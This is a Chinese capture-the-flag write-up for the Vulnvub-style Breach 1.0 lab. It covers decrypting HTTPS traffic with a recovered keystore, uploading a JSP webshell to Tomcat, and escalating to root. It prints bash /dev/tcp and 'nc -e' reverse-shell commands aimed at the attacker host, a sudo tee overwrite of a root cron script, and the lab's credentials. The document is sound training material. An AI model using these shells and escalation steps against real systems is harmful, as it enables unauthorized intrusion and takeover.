解密HTTPS流量并getshell和提权系统权限(Breach1.0)

本文详细记录了解密HTTPS流量,通过CMS漏洞利用,获取Tomcat后台,利用Java Webshell进行提权,最终获取系统root权限的过程。涉及的步骤包括nmap扫描、Wireshark分析、证书解密、Web服务渗透及系统权限提升等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

文章目录

      • 一、靶场的搭建及环境配置
        • 1.1 靶场介绍
        • 1.2 环境配置
      • 二、信息收集发现目标
        • 2.1 nmap扫描端口探测
        • 2.2 访问80端口(Web服务)
        • 2.3 访问跳转地址,并保存相关信息
      • 三、查看首页源码并解码得到密码
        • 3.1 回到首页,查看页面源码,
        • 3.2 解码得到账号,密码
      • 四、登录CMS通过邮件下载SSL证书的密钥库文件
        • 4.1 登录CMS
        • 4.2 下载wireshark流量包文件
        • 4.3 查看邮件找到SSL证书密钥库文件
        • 4.4 通过kali寻找该CMS的漏洞
      • 五、导入流量抓包文件、SSL证书到Wireshark
        • 5.1 导入流量包文件到wireshark
        • 5.2 对密钥库进行解密
        • 5.3 将p12证书导入wireshark
      • 六、从流量包文件中得到Tomact后台URL和密码
        • 6.1 分析流量包
        • 6.2 通过401身份认证页面,找到被加密的账号密码
      • 七、登录Tomact后台并·Getshell
        • 7.1 根据提示需要上传war格式的压缩包
        • 7.2 打包冰蝎的jsp马成war包
        • 7.3 上传木马getshell
      • 八、查看系统用户发现mysql root密码
        • 8.1 查看passwd文件里的用户名和密码
        • 8.2 在www目录下找到数据库配置文件
        • 8.3 通过bash反弹shell
        • 8.4 提升成可交互shell
      • 九、提权到用户milton和blumbergh
        • 9.1 查找有用信息
        • 9.2 查看历史操作记录
        • 9.3 导出之前收集的图片的可打印的字符
        • 9.4 尝试登录并查找有用信息
      • 十、使用nc反弹shell获取root权限
        • 10.1 利用tee往计划任务脚本写入shell
        • 10.2 利用kali监听,获取反弹shell

一、靶场的搭建及环境配置

1.1 靶场介绍

Breach1.0是Vulnhub中一个难度为初级到中级boot2root/CTF的挑战,虚拟机需要配置静态IP地址(192.168.110.140),需要将虚拟机的网卡设置为host-only(仅主机)方式组网。

1.2 环境配置

image-20210726185524237

如果出现仅主机网卡已配置但始终无法生效,你可以试试dhclient eth1

靶机:

Breach-1.0 192.168.110.140 仅主机模式

攻击机:

Kali 192.168.110.5 仅主机模式

192.168.101.11 仅主机模式

image-20210726185643590

二、信息收集发现目标

2.1 nmap扫描端口探测

由于IP已知,使用nmap扫描端口,并做服务识别和端口扫描(-A),将扫描结果保存的txt文件

┌──(root💀xuegod)-[~/桌面]
└─# nmap -v -A 192.168.110.140 -oG a.txt

		-v			显示扫描过程
		-A			综合扫描
		-oG			将扫描结果储存到文件

image-20210726194608963

2.2 访问80端口(Web服务)

image-20210726194946933

2.3 访问跳转地址,并保存相关信息

image-20210726195946105

有两张图片和一个cms登录网站

image-20210726200124851

image-20210726200200859

点击图片再次跳转页面,保存图片并根据提示查看页面源码

image-20210726200510911

没有什么可看的

image-20210726200615943

三、查看首页源码并解码得到密码

3.1 回到首页,查看页面源码,

发现存在存在一处Base64的加密字符,还有一处跳转

image-20210726195529959

3.2 解码得到账号,密码
pgibbons:damnitfeel$goodtobeagang$ta 

image-20210726195606280

四、登录CMS通过邮件下载SSL证书的密钥库文件

4.1 登录CMS

image-20210727000240019

image-20210727002053738

4.2 下载wireshark流量包文件

image-20210727002735425

image-20210727002747736

4.3 查看邮件找到SSL证书密钥库文件

这里还告诉了我们密钥库文件的密码

image-20210727003048378

通过点击侧边栏又发现了一个gif图片,进行保存

image-20210727003400601

4.4 通过kali寻找该CMS的漏洞
┌──(root💀xuegod)-[~/桌面]
└─# searchsploit impress cms				发现1.3.9版本存在sql注入

┌──(root💀xuegod)-[~/桌面]
└─# searchsploit -p 39737						寻找漏洞详情文件存放的地址

image-20210727004714492

访问文件发现,漏洞的注入点在:/modules/profile/admin/field.php

image-20210727004908600

当我们去访问该地址时,系统提示我们无权访问,并跳回原页面

image-20210727005116708

image-20210727005158067

五、导入流量抓包文件、SSL证书到Wireshark

5.1 导入流量包文件到wireshark

TLS加密这是HTTPS数据包

image-20210727011052928

5.2 对密钥库进行解密

将密钥库文件keystore放到C盘根目录,利用java\jdk\bin目录下的keytool.exe进行解密

image-20210727011502089

要在C盘根目录下写文件需要管理员模式打开cmd

image-20210727011653846

C:\Program Files\Java\jdk-10.0.2\bin>keytool.exe			查看工具详情

C:\Program Files\Java\jdk-10.0.2\bin>keytool -list -keystore c:\keystore		查看密钥库里所有的证书
口令:tomcat

C:\Program Files\Java\jdk-10.0.2\bin>keytool -importkeystore -srckeystore c:\keystore -destkeystore c:\tomcattkeystore.p12 -deststoretype PKCS12 -srcalias tomcat			生成解密的pkcs12证书
口令:tomcat

image-20210727013732623

image-20210727014310026

image-20210727014342195

5.3 将p12证书导入wireshark

image-20210727014758181

image-20210727014822111

image-20210727014952604

8443端口是tomcat打开SSL文本服务的默认端口,相当于https(443),为了区别使用所以用了8443端口

image-20210727015103943

导入证书后,https的流量已经解密,可以查看TLS的流量包了

image-20210727015245794

六、从流量包文件中得到Tomact后台URL和密码

6.1 分析流量包

通过查看流量包,发现192.168.110.129192.168.110.140有大量攻击行为,追踪http数据流找到后台地址:https://192.168.110.140:8443/_M@nag3Me/html

image-20210727021949205

访问被重置可以通过bp访问

image-20210727022029797

image-20210727022305597

6.2 通过401身份认证页面,找到被加密的账号密码
Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC

image-20210727022603172

Base64解密:tomcat:Tt\5D8F(#!*u=G)4m7zB

image-20210727022831765

七、登录Tomact后台并·Getshell

7.1 根据提示需要上传war格式的压缩包

image-20210727111625676

7.2 打包冰蝎的jsp马成war包
┌──(root💀xuegod)-[~/桌面/server]
└─# zip -r shell.zip ./shell.jsp				将jsp马打包成zip

┌──(root💀xuegod)-[~/桌面/server]
└─# mv shell.zip shell.war							更改文件后缀

image-20210727225601602

7.3 上传木马getshell

上传后自动解压,木马在/shell/shell.jsp

配置代理通过bp连接 密码:rebeyond

image-20210727232021899

马每隔几分钟就会掉需要重新上传,当前用户是tomcat6并非root

image-20210727232513749

image-20210727232609461

八、查看系统用户发现mysql root密码

8.1 查看passwd文件里的用户名和密码

发现root,milton,blumbergh这三个用户是有bin/bash权限的

image-20210728002442338

8.2 在www目录下找到数据库配置文件

image-20210728002906977

数据库是通过localhost方式连接的,用户名是root,密码是空的

image-20210728003013506

8.3 通过bash反弹shell
┌──(root💀xuegod)-[~/桌面/server]
└─# nc -lnvp 8888    								通过nc进行监听	

		l使用监听模式 
		n直接使用ip,而不通过域名服务器 
		v显示详细过程 
		p指定本地监听端口

image-20210728003417730

在虚拟终端反弹shell
echo "bash -i >& /dev/tcp/192.168.110.5/8888 0>&1" |bash

bash -i  打开一个交互式的bash 
/dev/tcp/ 是Linux的一个特殊文件,实际这个文件是不存在的,它只是bash用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据
192.168.110.5/8888 是攻击者主机的地址和监听的端口 
>& 表示混合输出,即标准输出+错误输出   
0>&1 将标准输入重定向到标准输出中

image-20210728010813339

8.4 提升成可交互shell

连接数据库并没有反应

image-20210728011056588

python -c 'import pty;pty.spawn("/bin/bash")'				利用python调用本地shell实现交互式命令行

image-20210728012332381

在mysql库,user表中找到了milton的密码
select user,password from user;

image-20210728012542634

6450d89bd3aff1d893b85d3ad65d2ec2 解密: thelaststraw

image-20210728012829127

九、提权到用户milton和blumbergh

之前在passwd文件里看见了同名账号,尝试登录

image-20210728014914997

9.1 查找有用信息

发现当前目录下有一张图片和一个脚本文件

image-20210728015054897

home\milton目录下下载图片

image-20210728015341359

查看脚本,什么都没有

image-20210728015447467

查看当前系统的内核版本,并不具有本地提权漏洞

image-20210728015601261

9.2 查看历史操作记录
cat .bash_history
有提权到 blumbergh的操作,需要找到blumbergh的密码

image-20210728015832946

9.3 导出之前收集的图片的可打印的字符

image-20210728020457699

有两个比较突出 tEXtComment coffeestains

image-20210728020654123

9.4 尝试登录并查找有用信息

发现coffeestainsblumbergh的密码

image-20210728020941864

查看历史记录寻找到了删我们上传的木马的计划脚本

image-20210728021214584

image-20210728021246537

脚本是root身份运行的,发现当前用户有权限执行/usr/bin/tee和这个脚本 tee是读取标准输入和输出的数据

image-20210728021607819

十、使用nc反弹shell获取root权限

10.1 利用tee往计划任务脚本写入shell
回到根目录,往文本文件里写入一个shell脚本
echo "nc -e /bin/bash 192.168.110.5 9999" > shell.txt

通过tee将shell脚本写入原来的计划任务脚本
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

查看脚本发现写入的内容已替代原先的内容,而这是一个定时执行的脚本
cat /usr/share/cleanup/tidyup.sh

image-20210728023100591

10.2 利用kali监听,获取反弹shell
┌──(root💀xuegod)-[~/桌面/server]
└─# nc -lvnp 9999 

已经是root权限了

image-20210728023340253

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值